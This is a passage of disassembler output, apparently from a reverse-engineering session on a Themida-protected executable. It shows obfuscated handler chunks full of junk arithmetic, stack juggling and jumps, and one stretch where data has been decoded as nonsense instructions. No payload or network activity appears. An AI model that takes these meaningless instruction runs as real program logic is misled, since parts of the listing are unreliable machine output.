; ---------------------------------------------------------------------------


loc_58E21D:				; CODE XREF: sub_59196D+6666j
		add	esp, 2
		push	eax
		mov	al, 16h
		shr	al, 5
		jmp	loc_58CCDF
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58E22B:				; CODE XREF: Themida_:00591110j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_596B09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E23F:				; CODE XREF: sub_59196D+16AAj
		pop	esp
		movzx	ecx, ax
		push	7530h
		jmp	loc_59268D
; ---------------------------------------------------------------------------


loc_58E24D:				; CODE XREF: sub_59196D+21A2j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+28h+var_2A+2]
		pop	esp
		mov	[esp+24h+var_26+2], esi
		push	5702h
		mov	[esp+28h+var_2A+2], ebx
		mov	ebx, 0C79690Eh
		xor	[esp+28h+var_26+2], ebx
		jmp	loc_591697
; ---------------------------------------------------------------------------


loc_58E276:				; CODE XREF: sub_59196D-184Aj
		add	ebx, 4
		xchg	ebx, [esp+28h+var_2A+2]
		pop	esp
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		push	488Fh
		mov	[esp+28h+var_2A+2], esi
		push	[esp+28h+var_26+2]
		jmp	loc_596E51
; ---------------------------------------------------------------------------


loc_58E297:				; CODE XREF: sub_59196D-2B7Dj
		mov	[esp+2Ch+var_2E+2], eax
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58E29F:				; CODE XREF: sub_59196D-1FC3j
		push	esi
		jmp	loc_596788
; ---------------------------------------------------------------------------


loc_58E2A5:				; CODE XREF: sub_59196D+53BCj
		mov	ebx, 2E0B7CC8h
		xor	ebx, 3E456160h
		neg	ebx
		jmp	loc_590191
; ---------------------------------------------------------------------------


loc_58E2B7:				; CODE XREF: sub_59196D+4D31j
		push	edx
		jmp	loc_593B7B
; ---------------------------------------------------------------------------


loc_58E2BD:				; CODE XREF: sub_59196D-516Aj
		add	ecx, 4
		xchg	ecx, [esp+42h+var_44+2]
		pop	esp
		jmp	loc_592F6A
; ---------------------------------------------------------------------------


loc_58E2C9:				; CODE XREF: sub_59196D-40EAj
		mov	edi, 38515B68h
		add	ecx, edi
		pop	edi
		or	ecx, 0C9B7DC9h
		add	ecx, 0C88D5B24h
		not	ecx
		add	ecx, 51401C73h
		dec	ecx
		dec	ecx
		add	ecx, 1F8767ADh
		add	ecx, 94A5D704h
		jmp	loc_596809
; ---------------------------------------------------------------------------


loc_58E2F8:				; CODE XREF: sub_59196D+4362j
		and	edi, 1E69397Dh
		xor	edi, 2CAC24D4h
		xor	edi, 1C72CD5Eh
		add	eax, 0CA25DAh
		jmp	loc_59856D
; ---------------------------------------------------------------------------


loc_58E314:				; CODE XREF: sub_59196D-34AFj
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp+4Ch+var_4E+2]
		pop	esp
		pop	edx
		xor	eax, esi
		mov	esi, [esp+44h+var_44]
		add	esp, 4
		push	esi
		mov	esi, 68293A1Fh
		xor	esi, ecx
		xor	ecx, esi
		xor	esi, ecx
		xchg	edx, ecx
		jmp	loc_593844
; ---------------------------------------------------------------------------


loc_58E33C:				; CODE XREF: sub_59196D+15EDj
		mov	edi, 14501137h
		sub	esi, edi
		jmp	loc_59511C
; ---------------------------------------------------------------------------


loc_58E348:				; CODE XREF: sub_59196D-546Cj
		pop	ebp
		add	esp, 4
		or	eax, eax
		jz	loc_59441C
		push	dword ptr [edi+1Ch]
		push	409Fh
		mov	[esp+16h+var_16], ecx
		jmp	loc_593D02
; ---------------------------------------------------------------------------


loc_58E367:				; CODE XREF: sub_59196D+1866j
		jmp	loc_593A5E
; ---------------------------------------------------------------------------


loc_58E36C:				; CODE XREF: sub_59196D+5C0Dj
		mov	bl, cl
		mov	[edi+eax*4+1], bl
		pop	ebx
		mov	ecx, [esp+12h+var_12]
		add	esp, 4
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58E37E:				; CODE XREF: sub_59196D-4CC0j
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_591F76
; ---------------------------------------------------------------------------


loc_58E38A:				; CODE XREF: sub_59196D+29B0j
		mov	edi, [esp+0]
		add	esp, 4
		add	ebp, ebx
		mov	ebx, [esp+34h+var_36+2]
		push	5D60h
		mov	[esp+0], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		xchg	ebp, [esp+34h+var_36+2]
		jmp	loc_594D19
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58E3B7	proc near		; CODE XREF: sub_59196D-5C89j
		push	ebx
		push	edx
		mov	edx, 5CC63039h
		not	edx
		jmp	loc_59676F
sub_58E3B7	endp

; ---------------------------------------------------------------------------


loc_58E3C5:				; DATA XREF: Themida_:0058B0E4o
		lodsb
		jmp	loc_592E0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E0B1


loc_58E3CB:				; CODE XREF: sub_58E0B1+1j
		mov	ebp, edx
		mov	esi, ebp
		push	[esp+4+var_4]
		jmp	loc_590506
; END OF FUNCTION CHUNK	FOR sub_58E0B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E3D7:				; CODE XREF: sub_59196D+3ECDj
		add	[esp+34h+var_36+2], 523D49D9h
		pop	edi
		sub	edi, 523D49D9h
		jmp	loc_58FD4B
; ---------------------------------------------------------------------------


loc_58E3EA:				; CODE XREF: sub_59196D+4679j
		mov	ecx, [esp+30h+var_32+2]
		jmp	loc_5929EC
; ---------------------------------------------------------------------------


loc_58E3F2:				; CODE XREF: sub_59196D+505Aj
		add	edi, 4
		xchg	edi, [esp+30h+var_32+2]
		mov	esp, [esp+30h+var_32+2]
		or	eax, eax
		jz	loc_59433D
		push	dword ptr [edi+1Ch]
		push	[esp+34h+var_36+2]
		push	dword ptr [esp+0]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+3Ch+var_3C]
		pop	esp
		push	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+40h+var_40]
		pop	esp
		mov	[esp+3Ch+var_3C], esp
		jmp	sub_58F533
; ---------------------------------------------------------------------------


loc_58E439:				; CODE XREF: sub_59196D-15EEj
		mov	ebx, [esp+3Ch+var_3C]
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 474C28C9h
		sub	ecx, 0C93515Dh
		jbe	loc_597DF5
		sub	ecx, 3AB8D768h
		add	edi, ecx
		pop	ecx
		add	edi, 4
		jmp	loc_593135
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C376


loc_58E462:				; CODE XREF: sub_58C376+10A3j
		pop	edx
		sub	dh, 24h
		jmp	loc_597D8F
; END OF FUNCTION CHUNK	FOR sub_58C376
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E46B:				; CODE XREF: sub_59196D-3D3Bj
		xor	[esp+1Ch+var_1E+2], eax
		jmp	loc_5977A3
; ---------------------------------------------------------------------------


loc_58E473:				; CODE XREF: sub_59196D+32ADj
		pop	ebx
		add	eax, esi
		mov	esi, [esp+18h+var_1A+2]
		add	esp, 4
		push	47F4h
		mov	[esp+18h+var_1A+2], esi
		mov	esi, 7E3078DEh
		sub	esi, 0F3703EEh
		dec	esi
		jmp	loc_598385
; ---------------------------------------------------------------------------


loc_58E498:				; CODE XREF: sub_59196D+219Bj
		mov	[esp+18h+var_1A+2], ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_58FDF3
; ---------------------------------------------------------------------------


loc_58E4A3:				; CODE XREF: sub_59196D+6CE1j
		add	edi, esi
		pop	esi
		jmp	loc_59519E
; ---------------------------------------------------------------------------


loc_58E4AB:				; CODE XREF: sub_59196D+38EBj
		pop	ebx
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		jmp	loc_5976E8
; ---------------------------------------------------------------------------


loc_58E4BA:				; CODE XREF: sub_58C68D+6j
					; sub_59196D+345Fj
		add	eax, ebp
		pop	ebp
		push	edx
		jmp	loc_58E314
; ---------------------------------------------------------------------------


loc_58E4C3:				; CODE XREF: sub_59196D+1C6Ej
		pop	ecx
		jmp	loc_592380
; ---------------------------------------------------------------------------


loc_58E4C9:				; CODE XREF: sub_59196D-21C5j
		mov	edi, [esp+0Ch+var_C]
		jmp	loc_58C51F
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5909BD


loc_58E4D1:				; CODE XREF: sub_5909BD+1j
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		shr	ebx, 2
		inc	ebx
		jmp	loc_593A82
; END OF FUNCTION CHUNK	FOR sub_5909BD

; =============== S U B	R O U T	I N E =======================================



sub_58E4E8	proc near		; DATA XREF: Themida_:0058B1A0o
		pop	dword ptr [edx]
		jmp	loc_58B37B
sub_58E4E8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E4EF:				; CODE XREF: sub_59196D-412Bj
		xor	bl, 0CAh
		not	bl
		sub	bl, 5Eh
		add	bl, 28h
		push	dx
		mov	dl, 66h
		jmp	loc_5967A5
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F42B


loc_58E503:				; CODE XREF: sub_58F42B-1DCj
		not	edi
		sub	edi, 27423D0Bh
		add	edi, 1DC90D0Ah
		neg	edi
		xor	edi, 8CD7A96Dh
		jmp	loc_5936CA
; END OF FUNCTION CHUNK	FOR sub_58F42B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E51E:				; CODE XREF: sub_59196D-60D2j
		pop	eax
		jmp	loc_58FA77
; ---------------------------------------------------------------------------


loc_58E524:				; CODE XREF: sub_59196D-CBj
		push	0DB8h
		mov	[esp+20h+var_22+2], edi
		push	[esp+20h+var_1E+2]
		pop	edi
		pop	[esp+20h+var_22+2]
		mov	esp, [esp+1Ch+var_1E+2]
		jmp	loc_58B558
; ---------------------------------------------------------------------------


loc_58E53C:				; CODE XREF: sub_59196D-889j
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_596F11
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58E549:				; CODE XREF: Themida_:0058B652j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E54E:				; CODE XREF: sub_59196D+39B2j
		push	esi
		jmp	loc_58C5CD
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591344


loc_58E554:				; CODE XREF: sub_591344+4j
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	edx
		mov	edx, 5EAD1865h
		jmp	loc_592ED6
; END OF FUNCTION CHUNK	FOR sub_591344
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E567:				; CODE XREF: sub_59196D+50E1j
		pop	ecx
		inc	eax
		push	eax
		dec	[esp+24h+var_26+2]
		pop	eax
		add	eax, 0F92BC0B2h
		sub	ebp, 109043EFh
		add	ebp, eax
		push	eax
		mov	eax, 109043EFh
		jmp	loc_5980FD
; ---------------------------------------------------------------------------


loc_58E586:				; CODE XREF: sub_59196D-42DDj
		add	esp, 4
		not	edi
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		push	edi
		mov	edi, 47375C2Fh
		dec	edi
		add	edi, 57C478C4h
		inc	edi
		jmp	loc_592078
; ---------------------------------------------------------------------------


loc_58E5A7:				; CODE XREF: sub_59196D-56C2j
		add	[esp+18h+var_1A+2], 4
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		jmp	loc_594229
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58E5BF	proc near		; CODE XREF: sub_59196D+67Bj
		push	ebp
		mov	ebp, 7E3E5C02h
		and	ebp, 635B7942h
		neg	ebp
		sub	ebp, 54AB7D0Ch
		dec	ebp
		push	edx
		mov	edx, 493A2AF5h
		xor	ebp, edx
		pop	edx
		jmp	loc_5972DF
sub_58E5BF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E5E2:				; CODE XREF: sub_59196D+4D21j
		not	edi
		shr	edi, 3
		sub	edi, 13B27450h
		add	ebx, edi
		pop	edi
		jmp	loc_594252
; ---------------------------------------------------------------------------


loc_58E5F5:				; CODE XREF: sub_59196D-8CCj
		dec	ebx
		shr	ebx, 1
		add	ebx, 0C7EB3D1Eh
		add	ebp, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+14h+var_16+2], ebp
		push	[esp+14h+var_12+2]
		jmp	loc_58D0F8
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		lodsw
		push	edi
		push	edx
		mov	dx, 7033h
		neg	dx
		sub	dx, 37B5h
		jnb	loc_598593
		push	cx
		jmp	loc_58DFE5
; ---------------------------------------------------------------------------
		push	edi
		mov	ch, ch
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E630:				; CODE XREF: sub_59196D+48ABj
		push	esi
		mov	esi, 15B16EFAh
		sub	esi, 0B41964F6h
		add	edx, esi
		pop	esi
		push	esi
		mov	esi, 4A2105A8h
		add	esi, 29A11F75h
		sub	esi, 432C2EEDh
		jmp	loc_5980BC
; ---------------------------------------------------------------------------


loc_58E656:				; CODE XREF: sub_59196D+13C2j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+1Ch+var_1E+2]
		jmp	loc_58D853
; ---------------------------------------------------------------------------


loc_58E66C:				; CODE XREF: sub_59196D+2484j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58E671:				; CODE XREF: sub_59196D-62F0j
		sub	bl, 2Bh
		mov	dx, word ptr [esp+1Ch+var_1E+2]
		add	esp, 2
		push	ebx
		mov	ebx, 11786562h
		neg	ebx
		jmp	loc_595810
; ---------------------------------------------------------------------------


loc_58E68B:				; CODE XREF: sub_59196D-4339j
		jo	loc_58D2FD
		sub	ecx, 9336F242h
		jmp	loc_590FA4
; ---------------------------------------------------------------------------


loc_58E69C:				; CODE XREF: sub_59196D-2DA0j
		mov	esi, 71C547BBh
		add	esi, 678D2709h
		xor	esi, 0C4585FC5h
		add	ebx, esi
		pop	esi
		push	ebx
		pop	edi
		jmp	loc_593470
; ---------------------------------------------------------------------------


loc_58E6B7:				; CODE XREF: sub_59196D+5FEFj
		pop	esi
		add	esp, 4
		sub	[esp+42h+var_44+2], 0C867F20h
		add	[esp+42h+var_44+2], eax
		add	[esp+42h+var_44+2], 0C867F20h
		jmp	loc_5952FF
; ---------------------------------------------------------------------------


loc_58E6D1:				; CODE XREF: sub_59196D-149Aj
		pop	ebp
		push	edx
		push	esi
		push	ecx
		pop	esi
		mov	edx, esi
		pop	esi
		mov	edi, edx
		pop	edx
		jmp	loc_597C8F
; ---------------------------------------------------------------------------


loc_58E6E1:				; CODE XREF: sub_59196D+6DEj
		push	ecx
		mov	ch, 0C9h
		add	bl, ch
		pop	ecx
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	51DAh
		mov	[esp+42h+var_44+2], eax
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58E6FA:				; CODE XREF: sub_59196D+1FDAj
		jmp	loc_58CC46
; ---------------------------------------------------------------------------


loc_58E6FF:				; CODE XREF: sub_59196D-4C3Bj
		add	eax, 676F20FFh
		push	eax
		pop	edx
		jmp	loc_58DECB
; ---------------------------------------------------------------------------


loc_58E70B:				; CODE XREF: sub_59196D+5247j
		sub	ebx, 1E066F4Fh
		pop	edi
		jmp	loc_594CBD
; ---------------------------------------------------------------------------


loc_58E717:				; CODE XREF: sub_59196D+39CAj
					; sub_59196D+6C21j
		add	esp, 4
		jmp	loc_58B91E
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58E71F:				; DATA XREF: Themida_:0058B0F8o
		lodsb
		push	bx
		jmp	loc_58EE65

; =============== S U B	R O U T	I N E =======================================



sub_58E727	proc near		; CODE XREF: sub_59196D-2849j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, 51100DCFh
		sub	ebp, 51100DCBh
		add	edx, ebp
		pop	ebp
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		push	[esp-0Ch+arg_8]
		push	[esp-8+arg_4]
		pop	edx
		push	5Ah
		mov	[esp-4+arg_0], ebx
		push	esp
		mov	ebx, [esp+0]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		push	ebx
		jmp	loc_593DFE
sub_58E727	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E776:				; CODE XREF: sub_59196D+2F8j
		pop	ebp
		jmp	loc_58BC16
; ---------------------------------------------------------------------------


loc_58E77C:				; CODE XREF: sub_59196D-4BABj
		jno	loc_5953DC
		not	eax
		push	edx
		mov	edx, 55D41E9Dh
		mov	esi, ebx


loc_58E78C:				; CODE XREF: sub_59196D-5F37j
		mov	[esp+18h+var_1A+2], ecx
		mov	cl, 61h
		push	edx
		mov	dh, 0EFh
		or	dh, 1Fh
		jno	loc_592D15
		add	dh, 21h
		xor	dh, 0C5h
		push	ebx
		mov	bh, dh
		mov	al, bh
		pop	ebx
		pop	edx


loc_58E7AA:				; CODE XREF: sub_59196D+328Fj
		mov	ebp, ecx
		pop	ecx
		add	esi, ebp
		pop	ebp
		jmp	loc_593096
; ---------------------------------------------------------------------------


loc_58E7B5:				; CODE XREF: sub_59196D-5F73j
		shr	ch, 5
		jmp	loc_596082
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58E7BD:				; CODE XREF: Themida_:005916C1j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	5347h
		jmp	loc_591688
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E7D8:				; CODE XREF: sub_59196D-63B2j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_591AAE
; ---------------------------------------------------------------------------


loc_58E7E9:				; CODE XREF: sub_59196D+D3Ej
		mov	dh, 0F9h
		xor	dh, 0B4h
		shr	dh, 4
		neg	dh
		push	ecx
		mov	cl, 37h
		sub	cl, 21h
		and	dh, cl
		pop	ecx
		dec	dh
		xor	dh, 3Dh
		add	al, dh
		pop	edx
		jmp	loc_591A67
; ---------------------------------------------------------------------------


loc_58E809:				; CODE XREF: sub_59196D+527Aj
		add	al, 0F8h
		push	ebx
		mov	bh, 3
		sub	al, bh
		pop	ebx
		sub	al, bl
		push	0F9Bh
		mov	[esp+18h+var_1A+2], edx
		mov	dh, 3
		add	al, dh
		pop	edx
		jmp	loc_59175C
; ---------------------------------------------------------------------------


loc_58E825:				; CODE XREF: sub_59196D-1058j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_596840
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58E833:				; CODE XREF: Themida_:00598595j
		mov	cx, 4C16h
		jmp	loc_594F6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E83C:				; CODE XREF: sub_59196D-15C6j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58E848:				; CODE XREF: sub_59196D-6429j
					; sub_59196D-4B6j ...
		xor	eax, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], eax
		xor	eax, [esp+0Ch+var_C]
		pop	esp
		or	byte ptr [esp+8+var_8],	al
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58E85B:				; CODE XREF: sub_59196D-A09j
		xchg	dl, ch
		add	ch, 67h
		sub	bl, 0AFh
		jmp	loc_58CA61
; ---------------------------------------------------------------------------


loc_58E868:				; CODE XREF: sub_59196D-1551j
		add	esp, 4
		sub	bx, si
		mov	si, word ptr [esp+8+var_8]
		add	esp, 2
		movzx	eax, ax
		push	48AFh
		jmp	loc_596571
; ---------------------------------------------------------------------------


loc_58E888:				; CODE XREF: sub_59196D-5F08j
		pop	edi
		inc	esi
		jmp	loc_594C12
; ---------------------------------------------------------------------------


loc_58E88F:				; CODE XREF: sub_59196D-1E34j
		push	dx
		mov	dh, 5Ch
		add	cl, dh
		pop	dx
		jmp	loc_58F129
; ---------------------------------------------------------------------------


loc_58E89C:				; CODE XREF: sub_59196D+6B95j
		dec	ebx
		jnp	loc_597844
		push	edi
		push	ecx
		push	26A019Dh
		jmp	loc_58F4F6
; ---------------------------------------------------------------------------


loc_58E8AF:				; CODE XREF: sub_59196D-2AD6j
		pop	edi
		pop	edx
		sub	edi, 396CB62Ch
		add	ebx, edi
		mov	edi, [esp+18h+var_1A+2]
		add	esp, 4
		add	ebp, ebx
		pop	ebx
		push	edi
		mov	edi, 2
		add	ebp, edi
		pop	edi
		xor	ebp, [esp+10h+var_12+2]
		xor	[esp+10h+var_12+2], ebp
		xor	ebp, [esp+10h+var_12+2]
		pop	esp
		mov	ax, word ptr [esp+0Ch+var_C]
		push	esi
		push	2CB8h
		mov	[esp+14h+var_16+2], esp
		add	[esp+14h+var_16+2], 4
		pop	esi
		add	esi, 4
		jmp	loc_596ABE
; ---------------------------------------------------------------------------


loc_58E8F2:				; CODE XREF: sub_59196D-38C4j
					; sub_59196D+3168j
		shr	eax, 7
		jnp	loc_58F7D2
		xor	eax, 3F8D4EFAh
		mov	edi, eax
		pop	eax
		dec	edi
		jmp	loc_5969EA
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E90A:				; CODE XREF: sub_59196D+501Bj
		pop	edx
		sub	edi, 0B74E9808h
		jmp	loc_58CF3F
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58E916	proc near		; DATA XREF: Themida_:0058B130o

var_4		= dword	ptr -4

		mov	cx, [esp+0]
		push	3D45h
		mov	[esp+4+var_4], edx
		mov	edx, esp
		push	ebx
		push	27953140h
		pop	ebx
		jmp	loc_593E3B
sub_58E916	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58E930:				; CODE XREF: sub_59196D+1ECCj
		xor	edx, 7F14679Ah
		push	edx
		xor	[esp+1Eh+var_1E], 9C654EAh
		mov	eax, [esp+1Eh+var_1E]
		add	esp, 4
		push	6489h
		jmp	loc_58E1BB
; ---------------------------------------------------------------------------


loc_58E951:				; CODE XREF: sub_59196D-3A04j
		sub	ch, 0
		add	ch, 6
		sub	al, ch
		jmp	loc_5976E1
; ---------------------------------------------------------------------------


loc_58E95E:				; CODE XREF: sub_59196D+3C2Aj
		pop	dx
		mov	dl, bh
		jmp	loc_59831C
; ---------------------------------------------------------------------------


loc_58E967:				; CODE XREF: sub_59196D+2F07j
		xor	ecx, [esp+2Ah+var_2A]
		jmp	loc_597F99
; ---------------------------------------------------------------------------


loc_58E96F:				; CODE XREF: sub_59196D+4B23j
		pop	small word ptr [eax]
		jmp	loc_5944CE
; ---------------------------------------------------------------------------


loc_58E977:				; CODE XREF: sub_59196D+2285j
		pop	eax
		add	edx, 2
		jmp	loc_596D13
; ---------------------------------------------------------------------------


loc_58E983:				; CODE XREF: sub_59196D+35CFj
		add	ebp, edx
		jmp	loc_591945
; ---------------------------------------------------------------------------


loc_58E98A:				; CODE XREF: sub_59196D+19E9j
		pop	eax
		sub	ebx, 4
		xchg	ebx, [esp+20h+var_22+2]
		mov	esp, [esp+20h+var_22+2]
		mov	[esp+20h+var_22+2], ecx
		jmp	loc_5923D7
; ---------------------------------------------------------------------------


loc_58E99F:				; CODE XREF: sub_59196D-2107j
		and	eax, ecx
		jmp	loc_593417
; ---------------------------------------------------------------------------


loc_58E9A6:				; CODE XREF: sub_59196D+6037j
		sub	edi, 12FD31E5h
		add	edi, 373130ADh
		jmp	loc_595A26
; ---------------------------------------------------------------------------


loc_58E9B7:				; CODE XREF: sub_59196D-1717j
		jz	loc_58DB41
		xor	esi, 7A484406h
		xor	esi, edi
		mov	edi, [esp+20h+var_22+2]
		add	esp, 4
		jmp	loc_592310
; ---------------------------------------------------------------------------


loc_58E9D3:				; CODE XREF: sub_59196D-235j
		add	ebx, 0FFFFFFFFh
		sub	ebx, 6C382915h
		push	ebp
		jmp	loc_591557
; ---------------------------------------------------------------------------


loc_58E9E2:				; CODE XREF: sub_59196D-54C2j
		imul	cx
		push	small 5917h
		jmp	loc_58D17E
; ---------------------------------------------------------------------------


loc_58E9EE:				; CODE XREF: sub_59196D+4AEBj
		jmp	loc_592CBA
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58E9F3:				; CODE XREF: Themida_:0058B993j
		push	2E1Ch
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_58FD3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58EA09:				; CODE XREF: sub_59196D+20F4j
		jns	loc_592D66
		jmp	loc_59724C
; ---------------------------------------------------------------------------


loc_58EA14:				; CODE XREF: sub_59196D+539j
		add	esp, 4
		push	1F3Ah
		mov	[esp+1Ch+var_1E+2], edx
		mov	edx, 6331EFDh
		sub	ebx, edx
		pop	edx
		and	eax, ebx
		mov	ebx, [esp+18h+var_1A+2]
		add	esp, 4
		shr	eax, 0Ch
		jmp	loc_598625
; ---------------------------------------------------------------------------


loc_58EA3A:				; CODE XREF: sub_59196D+5816j
		and	esi, 3BDA1FE7h
		jbe	loc_591E76
		jmp	loc_58F50F
; ---------------------------------------------------------------------------


loc_58EA4B:				; CODE XREF: sub_59196D-230Cj
		sub	edi, 4A27643Bh
		xor	edi, 0B5DBF1C3h
		add	ecx, edi
		pop	edi
		jmp	loc_597E06
; ---------------------------------------------------------------------------


loc_58EA5F:				; CODE XREF: sub_59196D+659Aj
		mov	dl, cl
		jmp	loc_58B94E
; ---------------------------------------------------------------------------


loc_58EA66:				; CODE XREF: sub_59196D+2BF8j
		pop	esp
		jmp	loc_594959
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917FA


loc_58EA6C:				; CODE XREF: sub_5917FA+Fj
		pop	cx
		push	ebx
		mov	bh, 0A7h
		jmp	loc_5930C1
; END OF FUNCTION CHUNK	FOR sub_5917FA
; ---------------------------------------------------------------------------
word_58EA76	dw 0F180h		; CODE XREF: sub_59196D+3A6Aj
; ---------------------------------------------------------------------------
		mov	byte ptr [edi],	80h
		pmulhuw	mm7, mm7
		call	dword ptr [eax-4Ch]
		fild	word ptr [eax-0B7F5C14h]
		retn
; ---------------------------------------------------------------------------
		add	cl, 9Ch
		add	cl, ah
		jmp	loc_595A8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58EA92:				; CODE XREF: sub_59196D+3B70j
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], edx
		push	esp
		pop	edx
		add	edx, 4
		push	7701h
		mov	[esp+0Ch+var_C], esi
		jmp	loc_5905CB
; ---------------------------------------------------------------------------


loc_58EAAE:				; CODE XREF: sub_59196D+596Dj
		mov	ebx, 71740823h
		mov	esi, 0A5707D24h
		sub	esi, ebx
		jmp	loc_592937
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		sub	esp, 2
		mov	[esp], si
		push	small word ptr [esp+2]
		pop	si
		pop	small word ptr [esp]
		push	small 0CE1h
		mov	[esp], si
		xchg	dx, [esp]
		push	dx
		xchg	si, [esp]
		not	si
		xchg	si, [esp]
		pop	dx
		xchg	dx, [esp]
		mov	si, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 2
		add	eax, edx
		pop	edx
		jmp	loc_5919D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58EB0A:				; CODE XREF: sub_59196D+22D7j
		pop	ebx
		push	ebx
		mov	bh, 0F9h
		sub	bh, 0C7h
		or	bh, 39h
		add	bh, 63h
		add	dl, bh
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		shr	dl, 5
		inc	dl
		push	ecx
		jmp	loc_5975D1
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58EB2A:				; CODE XREF: Themida_:0058BC3Aj
		push	eax
		mov	eax, 20A2584Eh
		shr	eax, 5
		shl	eax, 3
		jmp	loc_595AED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58EB3B:				; CODE XREF: sub_59196D-53F3j
		pop	ebx
		add	ecx, edx
		pop	edx
		xor	ecx, 74E506A5h
		sub	eax, 76BA06F0h
		add	eax, ecx
		add	eax, 76BA06F0h
